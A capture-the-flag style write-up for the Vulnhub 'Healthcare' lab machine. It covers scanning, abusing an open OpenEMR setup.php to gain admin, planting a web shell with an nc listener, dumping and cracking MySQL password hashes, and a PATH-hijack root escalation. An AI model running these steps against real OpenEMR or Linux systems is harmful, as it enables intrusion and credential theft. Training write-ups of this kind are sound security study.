Vulnhub Writeup: Healthcare

Vulnhub - Healthcare

Description

Level: Intermediate

Description:This machine was developed to train the student to think according to the OSCP methodology. Pay attention to each step, because if you lose something you will not reach the goal: to become root in the system.

It is boot2root, tested on VirtualBox (but works on VMWare) and has two flags: user.txt and root.txt.

You can download the box from Vulnhub here.

Initial Scans

nmap -sn 192.168.110.0/24

Server is up on IP 192.168.110.132

sudo autorecon 192.168.110.132

Ports & Services

21/tcp open ProFTPD 1.3.3d
80/tcp open Apache httpd 2.2.17 ((PCLinuxOS 2011/PREFORK-1pclos2011))

Strange looking OS!

21/tcp open ProFTPD 1.3.3d

Anonymous login requires a password, hydra not working on initial try

80/tcp open Apache httpd 2.2.17

Always use a big wordlist if you can’t find anything! In this case the only wordlist with the relevant webapp included is directory-list-2.3-big.txt. After running this we find /openemr/ is available.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://192.168.110.132 -f

/openemr/

After completing this box, I found that the intended route is a SQL injection at http://192.168.110.132/openemr/interface/login/validateUser.php. Apparently this guide will help with the SQLi

Before I finished the box, I ran a gobuster scan on the /openemr/ folder and found some interesting files. I’m blacklisting 403 responses sice all CGI files return a 403 regardless of if they exist or not.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -u http://192.168.110.132/openemr --status-codes-blacklist 403,404

setup.php looks interesting

I tried to go through setup a couple of times unsuccessfully. It appears that there is a flag that is set once setup.php is run that stops it from being run again. In this instance that flag is not set so setup.php can be run to create a new instance with a known admin password bypassing the intended method of SQL Injection.

Snapshot your box at this point so you can rollback and try again.

Creating a new openemr site

Warning this is likely a one shot thing so make sure you have everything typed correctly as even if this fails it sets a setting in an ini which means you cannot try again.

/setup.php may be configured to allow it to run and create a new site allowing you to login to the blank site as an admin and then upload files / run SQLi / command injection etc.

add the new hostname to /etc/hosts so you can connect to the virtual host on the webserver. In this example, I’m using healthcare.vh

connect to /setup.php and enter the new site name

Add healthcare.vh to your hosts file for this machine. We’ll create the new host on this virtual host. The machine will check the host header when you connect and direct you to this new site.

Database name cannot have special characters in it. Initially tried the name healthcare.vh which failed. I’ve set both passwords you see here to “healthcare.vh”. Root password is not required.

Step 3

Step 4

Step 5

Step 6

Complete

Login at your new site. Use the new URL from hosts file - http://healthcare.vh/openemr/

#HackerFace

Once in, go to Administration > Files, then edit config.php and insert your shell.

Paste in your shell and hit save

Warning this appears to break the login page! Hopefully only on your new instance though

Set up your listener

nc -lvnp 1998

The shell will be available at http://healthcare.vh/openemr/sites/healthcare.vh/config.php?fshell=true

Privesc to user

There are a couple of possible users we could look to privesc to. It’s actually not neccessary to privsec to user since the root privsec will work from the apache user.

I want to use the mysql command to check the content of the original database and see if there are any credentials to steal. In order to use this command we need a propper tty. This will mess up your console while typing, but keep going, it gets better!

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

^Z # Press CTRL+Z

stty size
stty raw -echo
fg

stty rows XX cols XX

Now the shell should look more normal. mysql should work.

mysql users in original openemr database

After playing around with the database for a while, there is a table found with some usernames and password hashes.

mysql> select id,username,password,pwd_history1,pwd_history2 from users;
+----+----------+------------------------------------------+--------------+--------------+
| id | username | password                                 | pwd_history1 | pwd_history2 |
+----+----------+------------------------------------------+--------------+--------------+
|  1 | admin    | 3863efef9ee2bfbc51ecdca359c6302bed1389e8 | NULL         | NULL         |
|  2 | medical  | ab24aed5a7c4ad45615cd7e0da816eea39e4895d | NULL         | NULL         |
+----+----------+------------------------------------------+--------------+--------------+

After cracking with something like crackstation.net

3863efef9ee2bfbc51ecdca359c6302bed1389e8    sha1    ackbar
ab24aed5a7c4ad45615cd7e0da816eea39e4895d    sha1    medical

medical:medical is valid unix cred

user proof is now readable at /home/almirant/user.txt

Privesc to root

One of the first things I check is to search for SUID and SGID binaries.

find / -perm -4000 -type f 2>/dev/null | xargs ls -la
find / -perm -2000 -type f 2>/dev/null | xargs ls -la

Weird SGID binary

Let’s see what it does…

Looks like it’s running some standard linux binaries. Rather than decompile or dissassemble the binary, I just have a guess to see if it’s running the binary without a full path.

echo "/bin/sh" > /tmp/ifconfig
chmod 777 /tmp/ifconfig
PATH=/tmp:/sbin:/usr/sbin:/bin:/usr/bin:/usr/lib/qt4/bin /usr/bin/healthcheck

Yep, looks like it’s a classic relative path vulnerability.

Written with StackEdit.